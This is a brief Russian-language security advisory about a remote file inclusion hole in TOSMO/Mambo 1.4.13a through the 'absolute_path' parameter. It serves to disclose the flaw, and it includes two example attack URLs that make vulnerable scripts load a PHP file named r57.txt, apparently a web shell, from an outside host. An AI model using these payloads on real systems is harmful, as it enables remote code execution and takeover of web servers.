Программа: TOSMO/Mambo 1.4.13a

Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре «absolute_path» различными сценариями. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.

Пример:

/components/com_minibb.php?absolute_path=http://nachrichtenmann.de/r57.txt?
/configuration.php?absolute_path=http://nachrichtenmann.de/r57.txt?



Оставить мнение